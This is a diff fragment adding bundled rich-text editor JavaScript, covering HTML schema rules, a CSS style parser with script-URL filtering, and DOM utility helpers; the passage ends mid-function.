+                    element.attributePatterns = element.attributePatterns || [];
+                    attr.pattern = patternToRegExp(attrName);
+                    element.attributePatterns.push(attr);
+                  } else {
+                    if (!attributes[attrName]) {
+                      attributesOrder.push(attrName);
+                    }
+                    attributes[attrName] = attr;
+                  }
+                }
+              }
+            }
+            if (!globalAttributes && elementName === '@') {
+              globalAttributes = attributes;
+              globalAttributesOrder = attributesOrder;
+            }
+            if (outputName) {
+              element.outputName = elementName;
+              elements[outputName] = element;
+            }
+            if (hasPatternsRegExp.test(elementName)) {
+              element.pattern = patternToRegExp(elementName);
+              patternElements.push(element);
+            } else {
+              elements[elementName] = element;
+            }
+          }
+        }
+      }
+    };
+    var setValidElements = function (validElements) {
+      elements = {};
+      patternElements = [];
+      addValidElements(validElements);
+      each$4(schemaItems, function (element, name) {
+        children[name] = element.children;
+      });
+    };
+    var addCustomElements = function (customElements) {
+      var customElementRegExp = /^(~)?(.+)$/;
+      if (customElements) {
+        mapCache.text_block_elements = mapCache.block_elements = null;
+        each$4(split(customElements, ','), function (rule) {
+          var matches = customElementRegExp.exec(rule), inline = matches[1] === '~', cloneName = inline ? 'span' : 'div', name = matches[2];
+          children[name] = children[cloneName];
+          customElementsMap[name] = cloneName;
+          if (!inline) {
+            blockElementsMap[name.toUpperCase()] = {};
+            blockElementsMap[name] = {};
+          }
+          if (!elements[name]) {
+            var customRule = elements[cloneName];
+            customRule = extend$1({}, customRule);
+            delete customRule.removeEmptyAttrs;
+            delete customRule.removeEmpty;
+            elements[name] = customRule;
+          }
+          each$4(children, function (element, elmName) {
+            if (element[cloneName]) {
+              children[elmName] = element = extend$1({}, children[elmName]);
+              element[name] = element[cloneName];
+            }
+          });
+        });
+      }
+    };
+    var addValidChildren = function (validChildren) {
+      var childRuleRegExp = /^([+\-]?)(\w+)\[([^\]]+)\]$/;
+      mapCache[settings.schema] = null;
+      if (validChildren) {
+        each$4(split(validChildren, ','), function (rule) {
+          var matches = childRuleRegExp.exec(rule);
+          var parent, prefix;
+          if (matches) {
+            prefix = matches[1];
+            if (prefix) {
+              parent = children[matches[2]];
+            } else {
+              parent = children[matches[2]] = { '#comment': {} };
+            }
+            parent = children[matches[2]];
+            each$4(split(matches[3], '|'), function (child) {
+              if (prefix === '-') {
+                delete parent[child];
+              } else {
+                parent[child] = {};
+              }
+            });
+          }
+        });
+      }
+    };
+    var getElementRule = function (name) {
+      var element = elements[name], i;
+      if (element) {
+        return element;
+      }
+      i = patternElements.length;
+      while (i--) {
+        element = patternElements[i];
+        if (element.pattern.test(name)) {
+          return element;
+        }
+      }
+    };
+    if (!settings.valid_elements) {
+      each$4(schemaItems, function (element, name) {
+        elements[name] = {
+          attributes: element.attributes,
+          attributesOrder: element.attributesOrder
+        };
+        children[name] = element.children;
+      });
+      if (settings.schema !== 'html5') {
+        each$4(split('strong/b em/i'), function (item) {
+          item = split(item, '/');
+          elements[item[1]].outputName = item[0];
+        });
+      }
+      each$4(split('ol ul sub sup blockquote span font a table tbody tr strong em b i'), function (name) {
+        if (elements[name]) {
+          elements[name].removeEmpty = true;
+        }
+      });
+      each$4(split('p h1 h2 h3 h4 h5 h6 th td pre div address caption li'), function (name) {
+        elements[name].paddEmpty = true;
+      });
+      each$4(split('span'), function (name) {
+        elements[name].removeEmptyAttrs = true;
+      });
+    } else {
+      setValidElements(settings.valid_elements);
+    }
+    addCustomElements(settings.custom_elements);
+    addValidChildren(settings.valid_children);
+    addValidElements(settings.extended_valid_elements);
+    addValidChildren('+ol[ul|ol],+ul[ul|ol]');
+    each$4({
+      dd: 'dl',
+      dt: 'dl',
+      li: 'ul ol',
+      td: 'tr',
+      th: 'tr',
+      tr: 'tbody thead tfoot',
+      tbody: 'table',
+      thead: 'table',
+      tfoot: 'table',
+      legend: 'fieldset',
+      area: 'map',
+      param: 'video audio object'
+    }, function (parents, item) {
+      if (elements[item]) {
+        elements[item].parentsRequired = split(parents);
+      }
+    });
+    if (settings.invalid_elements) {
+      each$4(explode$1(settings.invalid_elements), function (item) {
+        if (elements[item]) {
+          delete elements[item];
+        }
+      });
+    }
+    if (!getElementRule('span')) {
+      addValidElements('span[!data-mce-type|*]');
+    }
+    var getValidStyles = function () {
+      return validStyles;
+    };
+    var getInvalidStyles = function () {
+      return invalidStyles;
+    };
+    var getValidClasses = function () {
+      return validClasses;
+    };
+    var getBoolAttrs = function () {
+      return boolAttrMap;
+    };
+    var getBlockElements = function () {
+      return blockElementsMap;
+    };
+    var getTextBlockElements = function () {
+      return textBlockElementsMap;
+    };
+    var getTextInlineElements = function () {
+      return textInlineElementsMap;
+    };
+    var getShortEndedElements = function () {
+      return shortEndedElementsMap;
+    };
+    var getSelfClosingElements = function () {
+      return selfClosingElementsMap;
+    };
+    var getNonEmptyElements = function () {
+      return nonEmptyElementsMap;
+    };
+    var getMoveCaretBeforeOnEnterElements = function () {
+      return moveCaretBeforeOnEnterElementsMap;
+    };
+    var getWhiteSpaceElements = function () {
+      return whiteSpaceElementsMap;
+    };
+    var getSpecialElements = function () {
+      return specialElements;
+    };
+    var isValidChild = function (name, child) {
+      var parent = children[name.toLowerCase()];
+      return !!(parent && parent[child.toLowerCase()]);
+    };
+    var isValid = function (name, attr) {
+      var attrPatterns, i;
+      var rule = getElementRule(name);
+      if (rule) {
+        if (attr) {
+          if (rule.attributes[attr]) {
+            return true;
+          }
+          attrPatterns = rule.attributePatterns;
+          if (attrPatterns) {
+            i = attrPatterns.length;
+            while (i--) {
+              if (attrPatterns[i].pattern.test(name)) {
+                return true;
+              }
+            }
+          }
+        } else {
+          return true;
+        }
+      }
+      return false;
+    };
+    var getCustomElements = function () {
+      return customElementsMap;
+    };
+    return {
+      children: children,
+      elements: elements,
+      getValidStyles: getValidStyles,
+      getValidClasses: getValidClasses,
+      getBlockElements: getBlockElements,
+      getInvalidStyles: getInvalidStyles,
+      getShortEndedElements: getShortEndedElements,
+      getTextBlockElements: getTextBlockElements,
+      getTextInlineElements: getTextInlineElements,
+      getBoolAttrs: getBoolAttrs,
+      getElementRule: getElementRule,
+      getSelfClosingElements: getSelfClosingElements,
+      getNonEmptyElements: getNonEmptyElements,
+      getMoveCaretBeforeOnEnterElements: getMoveCaretBeforeOnEnterElements,
+      getWhiteSpaceElements: getWhiteSpaceElements,
+      getSpecialElements: getSpecialElements,
+      isValidChild: isValidChild,
+      isValid: isValid,
+      getCustomElements: getCustomElements,
+      addValidElements: addValidElements,
+      setValidElements: setValidElements,
+      addCustomElements: addCustomElements,
+      addValidChildren: addValidChildren
+    };
+  }
+
+  var toHex = function (match, r, g, b) {
+    var hex = function (val) {
+      val = parseInt(val, 10).toString(16);
+      return val.length > 1 ? val : '0' + val;
+    };
+    return '#' + hex(r) + hex(g) + hex(b);
+  };
+  function Styles(settings, schema) {
+    var rgbRegExp = /rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)\s*\)/gi;
+    var urlOrStrRegExp = /(?:url(?:(?:\(\s*\"([^\"]+)\"\s*\))|(?:\(\s*\'([^\']+)\'\s*\))|(?:\(\s*([^)\s]+)\s*\))))|(?:\'([^\']+)\')|(?:\"([^\"]+)\")/gi;
+    var styleRegExp = /\s*([^:]+):\s*([^;]+);?/g;
+    var trimRightRegExp = /\s+$/;
+    var i;
+    var encodingLookup = {};
+    var encodingItems;
+    var validStyles;
+    var invalidStyles;
+    var invisibleChar = '\uFEFF';
+    settings = settings || {};
+    if (schema) {
+      validStyles = schema.getValidStyles();
+      invalidStyles = schema.getInvalidStyles();
+    }
+    encodingItems = ('\\" \\\' \\; \\: ; : ' + invisibleChar).split(' ');
+    for (i = 0; i < encodingItems.length; i++) {
+      encodingLookup[encodingItems[i]] = invisibleChar + i;
+      encodingLookup[invisibleChar + i] = encodingItems[i];
+    }
+    return {
+      toHex: function (color) {
+        return color.replace(rgbRegExp, toHex);
+      },
+      parse: function (css) {
+        var styles = {};
+        var matches, name, value, isEncoded;
+        var urlConverter = settings.url_converter;
+        var urlConverterScope = settings.url_converter_scope || this;
+        var compress = function (prefix, suffix, noJoin) {
+          var top, right, bottom, left;
+          top = styles[prefix + '-top' + suffix];
+          if (!top) {
+            return;
+          }
+          right = styles[prefix + '-right' + suffix];
+          if (!right) {
+            return;
+          }
+          bottom = styles[prefix + '-bottom' + suffix];
+          if (!bottom) {
+            return;
+          }
+          left = styles[prefix + '-left' + suffix];
+          if (!left) {
+            return;
+          }
+          var box = [
+            top,
+            right,
+            bottom,
+            left
+          ];
+          i = box.length - 1;
+          while (i--) {
+            if (box[i] !== box[i + 1]) {
+              break;
+            }
+          }
+          if (i > -1 && noJoin) {
+            return;
+          }
+          styles[prefix + suffix] = i === -1 ? box[0] : box.join(' ');
+          delete styles[prefix + '-top' + suffix];
+          delete styles[prefix + '-right' + suffix];
+          delete styles[prefix + '-bottom' + suffix];
+          delete styles[prefix + '-left' + suffix];
+        };
+        var canCompress = function (key) {
+          var value = styles[key], i;
+          if (!value) {
+            return;
+          }
+          value = value.split(' ');
+          i = value.length;
+          while (i--) {
+            if (value[i] !== value[0]) {
+              return false;
+            }
+          }
+          styles[key] = value[0];
+          return true;
+        };
+        var compress2 = function (target, a, b, c) {
+          if (!canCompress(a)) {
+            return;
+          }
+          if (!canCompress(b)) {
+            return;
+          }
+          if (!canCompress(c)) {
+            return;
+          }
+          styles[target] = styles[a] + ' ' + styles[b] + ' ' + styles[c];
+          delete styles[a];
+          delete styles[b];
+          delete styles[c];
+        };
+        var encode = function (str) {
+          isEncoded = true;
+          return encodingLookup[str];
+        };
+        var decode = function (str, keepSlashes) {
+          if (isEncoded) {
+            str = str.replace(/\uFEFF[0-9]/g, function (str) {
+              return encodingLookup[str];
+            });
+          }
+          if (!keepSlashes) {
+            str = str.replace(/\\([\'\";:])/g, '$1');
+          }
+          return str;
+        };
+        var decodeSingleHexSequence = function (escSeq) {
+          return String.fromCharCode(parseInt(escSeq.slice(1), 16));
+        };
+        var decodeHexSequences = function (value) {
+          return value.replace(/\\[0-9a-f]+/gi, decodeSingleHexSequence);
+        };
+        var processUrl = function (match, url, url2, url3, str, str2) {
+          str = str || str2;
+          if (str) {
+            str = decode(str);
+            return '\'' + str.replace(/\'/g, '\\\'') + '\'';
+          }
+          url = decode(url || url2 || url3);
+          if (!settings.allow_script_urls) {
+            var scriptUrl = url.replace(/[\s\r\n]+/g, '');
+            if (/(java|vb)script:/i.test(scriptUrl)) {
+              return '';
+            }
+            if (!settings.allow_svg_data_urls && /^data:image\/svg/i.test(scriptUrl)) {
+              return '';
+            }
+          }
+          if (urlConverter) {
+            url = urlConverter.call(urlConverterScope, url, 'style');
+          }
+          return 'url(\'' + url.replace(/\'/g, '\\\'') + '\')';
+        };
+        if (css) {
+          css = css.replace(/[\u0000-\u001F]/g, '');
+          css = css.replace(/\\[\"\';:\uFEFF]/g, encode).replace(/\"[^\"]+\"|\'[^\']+\'/g, function (str) {
+            return str.replace(/[;:]/g, encode);
+          });
+          while (matches = styleRegExp.exec(css)) {
+            styleRegExp.lastIndex = matches.index + matches[0].length;
+            name = matches[1].replace(trimRightRegExp, '').toLowerCase();
+            value = matches[2].replace(trimRightRegExp, '');
+            if (name && value) {
+              name = decodeHexSequences(name);
+              value = decodeHexSequences(value);
+              if (name.indexOf(invisibleChar) !== -1 || name.indexOf('"') !== -1) {
+                continue;
+              }
+              if (!settings.allow_script_urls && (name === 'behavior' || /expression\s*\(|\/\*|\*\//.test(value))) {
+                continue;
+              }
+              if (name === 'font-weight' && value === '700') {
+                value = 'bold';
+              } else if (name === 'color' || name === 'background-color') {
+                value = value.toLowerCase();
+              }
+              value = value.replace(rgbRegExp, toHex);
+              value = value.replace(urlOrStrRegExp, processUrl);
+              styles[name] = isEncoded ? decode(value, true) : value;
+            }
+          }
+          compress('border', '', true);
+          compress('border', '-width');
+          compress('border', '-color');
+          compress('border', '-style');
+          compress('padding', '');
+          compress('margin', '');
+          compress2('border', 'border-width', 'border-style', 'border-color');
+          if (styles.border === 'medium none') {
+            delete styles.border;
+          }
+          if (styles['border-image'] === 'none') {
+            delete styles['border-image'];
+          }
+        }
+        return styles;
+      },
+      serialize: function (styles, elementName) {
+        var css = '', name, value;
+        var serializeStyles = function (name) {
+          var styleList, i, l, value;
+          styleList = validStyles[name];
+          if (styleList) {
+            for (i = 0, l = styleList.length; i < l; i++) {
+              name = styleList[i];
+              value = styles[name];
+              if (value) {
+                css += (css.length > 0 ? ' ' : '') + name + ': ' + value + ';';
+              }
+            }
+          }
+        };
+        var isValid = function (name, elementName) {
+          var styleMap;
+          styleMap = invalidStyles['*'];
+          if (styleMap && styleMap[name]) {
+            return false;
+          }
+          styleMap = invalidStyles[elementName];
+          if (styleMap && styleMap[name]) {
+            return false;
+          }
+          return true;
+        };
+        if (elementName && validStyles) {
+          serializeStyles('*');
+          serializeStyles(elementName);
+        } else {
+          for (name in styles) {
+            value = styles[name];
+            if (value && (!invalidStyles || isValid(name, elementName))) {
+              css += (css.length > 0 ? ' ' : '') + name + ': ' + value + ';';
+            }
+          }
+        }
+        return css;
+      }
+    };
+  }
+
+  var each$5 = $_6cwiepljjgwe7j4.each;
+  var grep$1 = $_6cwiepljjgwe7j4.grep;
+  var isIE = $_bcvfv9ajjgwe79v.ie;
+  var simpleSelectorRe = /^([a-z0-9],?)+$/i;
+  var whiteSpaceRegExp$2 = /^[ \t\r\n]*$/;
+  var setupAttrHooks = function (styles, settings, getContext) {
+    var attrHooks = {};
+    var keepValues = settings.keep_values;
+    var keepUrlHook = {
+      set: function ($elm, value, name$$1) {
+        if (settings.url_converter) {
+          value = settings.url_converter.call(settings.url_converter_scope || getContext(), value, name$$1, $elm[0]);
+        }
+        $elm.attr('data-mce-' + name$$1, value).attr(name$$1, value);
+      },
+      get: function ($elm, name$$1) {
+        return $elm.attr('data-mce-' + name$$1) || $elm.attr(name$$1);
+      }
+    };
+    attrHooks = {
+      style: {
+        set: function ($elm, value) {
+          if (value !== null && typeof value === 'object') {
+            $elm.css(value);
+            return;
+          }
+          if (keepValues) {
+            $elm.attr('data-mce-style', value);
+          }
+          $elm.attr('style', value);
+        },
+        get: function ($elm) {
+          var value = $elm.attr('data-mce-style') || $elm.attr('style');
+          value = styles.serialize(styles.parse(value), $elm[0].nodeName);
+          return value;
+        }
+      }
+    };
+    if (keepValues) {
+      attrHooks.href = attrHooks.src = keepUrlHook;
+    }
+    return attrHooks;
+  };
+  var updateInternalStyleAttr = function (styles, $elm) {
+    var rawValue = $elm.attr('style');
+    var value = styles.serialize(styles.parse(rawValue), $elm[0].nodeName);
+    if (!value) {
+      value = null;
+    }
+    $elm.attr('data-mce-style', value);
+  };
+  var findNodeIndex = function (node, normalized) {
+    var idx = 0, lastNodeType, nodeType;
+    if (node) {
+      for (lastNodeType = node.nodeType, node = node.previousSibling; node; node = node.previousSibling) {
+        nodeType = node.nodeType;
+        if (normalized && nodeType === 3) {
+          if (nodeType === lastNodeType || !node.nodeValue.length) {
+            continue;
+          }
+        }
+        idx++;
+        lastNodeType = nodeType;
+      }
+    }
+    return idx;
+  };
+  function DOMUtils(doc, settings) {
+    var _this = this;
+    if (settings === void 0) {
+      settings = {};
+    }
+    var attrHooks;
+    var addedStyles = {};
+    var win = window;
+    var files = {};
+    var counter = 0;
+    var stdMode = true;
+    var boxModel = true;
+    var styleSheetLoader = StyleSheetLoader(doc);
+    var boundEvents = [];
+    var schema = settings.schema ? settings.schema : Schema({});
+    var styles = Styles({
+      url_converter: settings.url_converter,
+      url_converter_scope: settings.url_converter_scope
+    }, settings.schema);
+    var events = settings.ownEvents ? new EventUtils(settings.proxy) : EventUtils.Event;
+    var blockElementsMap = schema.getBlockElements();
+    var $ = DomQuery.overrideDefaults(function () {
+      return {
+        context: doc,
+        element: self$$1.getRoot()
+      };
+    });
+    var isBlock = function (node) {
+      if (typeof node === 'string') {
+        return !!blockElementsMap[node];
+      } else if (node) {
+        var type = node.nodeType;
+        if (type) {
+          return !!(type === 1 && blockElementsMap[node.nodeName]);
+        }
+      }
+      return false;
+    };
+    var get = function (elm) {
+      if (elm && doc && typeof elm === 'string') {
+        var node = doc.getElementById(elm);
+        if (node && node.id !== elm) {
+          return doc.getElementsByName(elm)[1];
+        } else {
+          return node;
+        }
+      }
+      return elm;
+    };
+    var $$ = function (elm) {
+      if (typeof elm === 'string') {
+        elm = get(elm);
+      }
+      return $(elm);
+    };
+    var getAttrib = function (elm, name$$1, defaultVal) {
+      var hook, value;
+      var $elm = $$(elm);
+      if ($elm.length) {
+        hook = attrHooks[name$$1];
+        if (hook && hook.get) {
+          value = hook.get($elm, name$$1);
+        } else {
+          value = $elm.attr(name$$1);
+        }
+      }
+      if (typeof value === 'undefined') {
+        value = defaultVal || '';
+      }
+      return value;
+    };
+    var getAttribs = function (elm) {
+      var node = get(elm);
+      if (!node) {
+        return [];
+      }
+      return node.attributes;
+    };
+    var setAttrib = function (elm, name$$1, value) {
+      var originalValue, hook;
+      if (value === '') {
+        value = null;
+      }
+      var $elm = $$(elm);
+      originalValue = $elm.attr(name$$1);
+      if (!$elm.length) {
+        return;
+      }
+      hook = attrHooks[name$$1];
+      if (hook && hook.set) {
+        hook.set($elm, value, name$$1);
+      } else {
+        $elm.attr(name$$1, value);
+      }
+      if (originalValue !== value && settings.onSetAttrib) {
+        settings.onSetAttrib({
+          attrElm: $elm,
+          attrName: name$$1,
+          attrValue: value
+        });
+      }
+    };
+    var clone = function (node, deep) {
+      if (!isIE || node.nodeType !== 1 || deep) {
+        return node.cloneNode(deep);
+      }
+      if (!deep) {
+        var clone_1 = doc.createElement(node.nodeName);
+        each$5(getAttribs(node), function (attr) {
+          setAttrib(clone_1, attr.nodeName, getAttrib(node, attr.nodeName));
+        });
+        return clone_1;
+      }
+      return null;
+    };
+    var getRoot = function () {
+      return settings.root_element || doc.body;
+    };
+    var getViewPort = function (argWin) {
+      var actWin = !argWin ? win : argWin;
+      var doc = actWin.document;
+      var rootElm = boxModel ? doc.documentElement : doc.body;
+      return {
+        x: actWin.pageXOffset || rootElm.scrollLeft,
+        y: actWin.pageYOffset || rootElm.scrollTop,
+        w: actWin.innerWidth || rootElm.clientWidth,
+        h: actWin.innerHeight || rootElm.clientHeight
+      };
+    };
+    var getPos = function (elm, rootElm) {
+      return $_3h7c3wnjjgwe7jl.getPos(doc.body, get(elm), rootElm);
+    };
+    var setStyle = function (elm, name$$1, value) {
+      var $elm = $$(elm).css(name$$1, value);
+      if (settings.update_styles) {
+        updateInternalStyleAttr(styles, $elm);
+      }
+    };
+    var setStyles = function (elm, stylesArg) {
+      var $elm = $$(elm).css(stylesArg);
+      if (settings.update_styles) {
+        updateInternalStyleAttr(styles, $elm);
+      }
+    };
+    var getStyle = function (elm, name$$1, computed) {
+      var $elm = $$(elm);
+      if (computed) {
+        return $elm.css(name$$1);
+      }
+      name$$1 = name$$1.replace(/-(\D)/g, function (a, b) {
+        return b.toUpperCase();
+      });
+      if (name$$1 === 'float') {
+        name$$1 = $_bcvfv9ajjgwe79v.ie && $_bcvfv9ajjgwe79v.ie < 12 ? 'styleFloat' : 'cssFloat';
+      }
+      return $elm[0] && $elm[0].style ? $elm[0].style[name$$1] : undefined;
+    };
+    var getSize = function (elm) {
+      var w, h;
+      elm = get(elm);
+      w = getStyle(elm, 'width');
+      h = getStyle(elm, 'height');
+      if (w.indexOf('px') === -1) {
+        w = 0;
+      }
+      if (h.indexOf('px') === -1) {
+        h = 0;
+      }
+      return {
+        w: parseInt(w, 10) || elm.offsetWidth || elm.clientWidth,
+        h: parseInt(h, 10) || elm.offsetHeight || elm.clientHeight
+      };
+    };
+    var getRect = function (elm) {
+      var pos, size;
+      elm = get(elm);
+      pos = getPos(elm);
+      size = getSize(elm);
+      return {
+        x: pos.x,
+        y: pos.y,
+        w: size.w,
+        h: size.h
+      };
+    };
+    var is = function (elm, selector) {
+      var i;
+      if (!elm) {
+        return false;
+      }
+      if (!Array.isArray(elm)) {
+        if (selector === '*') {
+          return elm.nodeType === 1;
+        }
+        if (simpleSelectorRe.test(selector)) {
+          var selectors = selector.toLowerCase().split(/,/);
+          var elmName = elm.nodeName.toLowerCase();
+          for (i = selectors.length - 1; i >= 0; i--) {
+            if (selectors[i] === elmName) {
+              return true;
+            }
+          }
+          return false;
+        }
+        if (elm.nodeType && elm.nodeType !== 1) {
+          return false;
+        }
+      }
+      var elms = !Array.isArray(elm) ? [elm] : elm;
+      return Sizzle(selector, elms[0].ownerDocument || elms[0], null, elms).length > 0;
+    };
+    var getParents = function (elm, selector, root, collect) {
+      var result = [];
+      var selectorVal;
+      var node = get(elm);
+      collect = collect === undefined;
+      root = root || (getRoot().nodeName !== 'BODY' ? getRoot().parentNode : null);
+      if ($_6cwiepljjgwe7j4.is(selector, 'string')) {
+        selectorVal = selector;
+        if (selector === '*') {
+          selector = function (node) {
+            return node.nodeType === 1;
+          };
+        } else {
+          selector = function (node) {
+            return is(node, selectorVal);
+          };
+        }
+      }
+      while (node) {
+        if (node === root || !node.nodeType || node.nodeType === 9) {
+          break;
+        }
+        if (!selector || typeof selector === 'function' && selector(node)) {
+          if (collect) {
+            result.push(node);
+          } else {
+            return [node];
+          }
+        }
+        node = node.parentNode;
+      }
+      return collect ? result : null;
+    };
+    var getParent = function (node, selector, root) {
+      var parents = getParents(node, selector, root, false);
+      return parents && parents.length > 0 ? parents[0] : null;
+    };
+    var _findSib = function (node, selector, name$$1) {
+      var func = selector;
+      if (node) {
+        if (typeof selector === 'string') {
+          func = function (node) {
+            return is(node, selector);
+          };
+        }
+        for (node = node[name$$1]; node; node = node[name$$1]) {
+          if (typeof func === 'function' && func(node)) {
+            return node;
+          }
+        }
+      }
+      return null;
+    };
+    var getNext = function (node, selector) {
+      return _findSib(node, selector, 'nextSibling');
+    };
+    var getPrev = function (node, selector) {
+      return _findSib(node, selector, 'previousSibling');
+    };
+    var select = function (selector, scope) {
+      return Sizzle(selector, get(scope) || settings.root_element || doc, []);
+    };
+    var run = function (elm, func, scope) {
+      var result;
+      var node = typeof elm === 'string' ? get(elm) : elm;
+      if (!node) {
+        return false;
+      }
+      if ($_6cwiepljjgwe7j4.isArray(node) && (node.length || node.length === 0)) {
+        result = [];
+        each$5(node, function (elm, i) {
+          if (elm) {
+            if (typeof elm === 'string') {
+              elm = get(elm);
+            }
+            result.push(func.call(scope, elm, i));
+          }
+        });
+        return result;
+      }
+      var context = scope ? scope : _this;
+      return func.call(context, node);
+    };
+    var setAttribs = function (elm, attrs) {
+      $$(elm).each(function (i, node) {
+        each$5(attrs, function (value, name$$1) {
+          setAttrib(node, name$$1, value);
+        });
+      });
+    };
+    var setHTML = function (elm, html) {
+      var $elm = $$(elm);
+      if (isIE) {
+        $elm.each(function (i, target) {
+          if (target.canHaveHTML === false) {
+            return;
+          }
+          while (target.firstChild) {
+            target.removeChild(target.firstChild);
+          }
+          try {
+            target.innerHTML = '<br>' + html;
+            target.removeChild(target.firstChild);
+          } catch (ex) {
+            DomQuery('<div></div>').html('<br>' + html).contents().slice(1).appendTo(target);
+          }
+          return html;
+        });
+      } else {
+        $elm.html(html);
+      }
+    };
+    var add = function (parentElm, name$$1, attrs, html, create) {
+      return run(parentElm, function (parentElm) {
+        var newElm = typeof name$$1 === 'string' ? doc.createElement(name$$1) : name$$1;
+        setAttribs(newElm, attrs);
+        if (html) {
+          if (typeof html !== 'string' && html.nodeType) {
+            newElm.appendChild(html);
+          } else if (typeof html === 'string') {
+            setHTML(newElm, html);
+          }
+        }
+        return !create ? parentElm.appendChild(newElm) : newElm;
+      });
+    };
+    var create = function (name$$1, attrs, html) {
+      return add(doc.createElement(name$$1), name$$1, attrs, html, true);
+    };
+    var decode = $_6pqr9q1sjjgwe7qj.decode;
+    var encode = $_6pqr9q1sjjgwe7qj.encodeAllRaw;
+    var createHTML = function (name$$1, attrs, html) {
+      var outHtml = '', key;
+      outHtml += '<' + name$$1;
+      for (key in attrs) {
+        if (attrs.hasOwnProperty(key) && attrs[key] !== null && typeof attrs[key] !== 'undefined') {
+          outHtml += ' ' + key + '="' + encode(attrs[key]) + '"';
+        }
+      }
+      if (typeof html !== 'undefined') {
+        return outHtml + '>' + html + '</' + name$$1 + '>';
+      }
+      return outHtml + ' />';
+    };
+    var createFragment = function (html) {
+      var node;
+      var container = doc.createElement('div');
+      var frag = doc.createDocumentFragment();
+      if (html) {
+        container.innerHTML = html;
+      }
+      while (node = container.firstChild) {
+        frag.appendChild(node);
+      }
+      return frag;
+    };
+    var remove = function (node, keepChildren) {
+      var $node = $$(node);
+      if (keepChildren) {
+        $node.each(function () {
+          var child;
+          while (child = this.firstChild) {
+            if (child.nodeType === 3 && child.data.length === 0) {
+              this.removeChild(child);
+            } else {
+              this.parentNode.insertBefore(child, this);
+            }
+          }
+        }).remove();
+      } else {
+        $node.remove();
+      }
+      return $node.length > 1 ? $node.toArray() : $node[0];
+    };
+    var removeAllAttribs = function (e) {
+      return run(e, function (e) {
+        var i;
+        var attrs = e.attributes;
+        for (i = attrs.length - 1; i >= 0; i--) {
+          e.removeAttributeNode(attrs.item(i));
+        }
+      });
+    };
+    var parseStyle = function (cssText) {
+      return styles.parse(cssText);
+    };
+    var serializeStyle = function (stylesArg, name$$1) {
+      return styles.serialize(stylesArg, name$$1);
+    };
+    var addStyle = function (cssText) {
+      var head, styleElm;
+      if (self$$1 !== DOMUtils.DOM && doc === document) {
+        if (addedStyles[cssText]) {
+          return;
+        }
+        addedStyles[cssText] = true;
+      }
+      styleElm = doc.getElementById('mceDefaultStyles');
+      if (!styleElm) {
+        styleElm = doc.createElement('style');
+        styleElm.id = 'mceDefaultStyles';
+        styleElm.type = 'text/css';
+        head = doc.getElementsByTagName('head')[0];
+        if (head.firstChild) {
+          head.insertBefore(styleElm, head.firstChild);
+        } else {
+          head.appendChild(styleElm);
+        }
+      }
+      if (styleElm.styleSheet) {
+        styleElm.styleSheet.cssText += cssText;
+      } else {
+        styleElm.appendChild(doc.createTextNode(cssText));
+      }
+    };
+    var loadCSS = function (url) {
+      var head;
+      if (self$$1 !== DOMUtils.DOM && doc === document) {
+        DOMUtils.DOM.loadCSS(url);
+        return;
+      }
+      if (!url) {
+        url = '';
+      }
+      head = doc.getElementsByTagName('head')[0];
+      each$5(url.split(','), function (url) {
+        var link;
+        url = $_6cwiepljjgwe7j4._addCacheSuffix(url);
+        if (files[url]) {
+          return;
+        }
+        files[url] = true;
+        link = create('link', {
+          rel: 'stylesheet',
+          href: url
+        });
+        head.appendChild(link);
+      });
+    };
+    var toggleClass = function (elm, cls, state) {
+      $$(elm).toggleClass(cls, state).each(function () {
+        if (this.className === '') {
+          DomQuery(this).attr('class', null);
+        }
+      });
+    };
+    var addClass = function (elm, cls) {
+      $$(elm).addClass(cls);
+    };
+    var removeClass = function (elm, cls) {
+      toggleClass(elm, cls, false);
+    };
+    var hasClass = function (elm, cls) {
+      return $$(elm).hasClass(cls);
+    };
+    var show = function (elm) {
+      $$(elm).show();
+    };
+    var hide = function (elm) {
+      $$(elm).hide();
+    };
+    var isHidden = function (elm) {
+      return $$(elm).css('display') === 'none';
+    };
+    var uniqueId = function (prefix) {
+      return (!prefix ? 'mce_' : prefix) + counter++;
+    };
+    var getOuterHTML = function (elm) {
+      var node = typeof elm === 'string' ? get(elm) : elm;
+      return $_3b9u2y1rjjgwe7qe.isElement(node) ? node.outerHTML : DomQuery('<div></div>').append(DomQuery(node).clone()).html();
+    };
+    var setOuterHTML = function (elm, html) {
+      $$(elm).each(function () {
+        try {
+          if ('outerHTML' in this) {
+            this.outerHTML = html;
+            return;
+          }
+        } catch (ex) {
+        }
+        remove(DomQuery(this).html(html), true);
+      });
+    };
+    var insertAfter = function (node, reference) {
+      var referenceNode = get(reference);
+      return run(node, function (node) {
+        var parent$$1, nextSibling;
+        parent$$1 = referenceNode.parentNode;
+        nextSibling = referenceNode.nextSibling;
+        if (nextSibling) {
+          parent$$1.insertBefore(node, nextSibling);
+        } else {
+          parent$$1.appendChild(node);
+        }
+        return node;
+      });
+    };
+    var replace = function (newElm, oldElm, keepChildren) {
+      return run(oldElm, function (oldElm) {
+        if ($_6cwiepljjgwe7j4.is(oldElm, 'array')) {
+          newElm = newElm.cloneNode(true);
+        }
+        if (keepChildren) {
+          each$5(grep$1(oldElm.childNodes), function (node) {
+            newElm.appendChild(node);
+          });
+        }
+        return oldElm.parentNode.replaceChild(newElm, oldElm);
+      });
+    };
+    var rename = function (elm, name$$1) {
+      var newElm;
+      if (elm.nodeName !== name$$1.toUpperCase()) {
+        newElm = create(name$$1);
+        each$5(getAttribs(elm), function (attrNode) {
+          setAttrib(newElm, attrNode.nodeName, getAttrib(elm, attrNode.nodeName));
+        });
+        replace(newElm, elm, true);
+      }
+      return newElm || elm;
+    };
+    var findCommonAncestor = function (a, b) {
+      var ps = a, pe;
+      while (ps) {
+        pe = b;
+        while (pe && ps !== pe) {
+          pe = pe.parentNode;
+        }
+        if (ps === pe) {
+          break;
+        }
+        ps = ps.parentNode;
+      }
+      if (!ps && a.ownerDocument) {
+        return a.ownerDocument.documentElement;
+      }
+      return ps;
+    };
+    var toHex = function (rgbVal) {
+      return styles.toHex($_6cwiepljjgwe7j4.trim(rgbVal));
+    };
+    var isEmpty = function (node, elements) {
+      var i, attributes, type, whitespace, walker, name$$1, brCount = 0;
+      node = node.firstChild;
+      if (node) {
+        walker = new TreeWalker(node, node.parentNode);
+        elements = elements || (schema ? schema.getNonEmptyElements() : null);
+        whitespace = schema ? schema.getWhiteSpaceElements() : {};
+        do {
+          type = node.nodeType;
+          if ($_3b9u2y1rjjgwe7qe.isElement(node)) {
+            var bogusVal = node.getAttribute('data-mce-bogus');
+            if (bogusVal) {
+              node = walker.next(bogusVal === 'all');
+              continue;
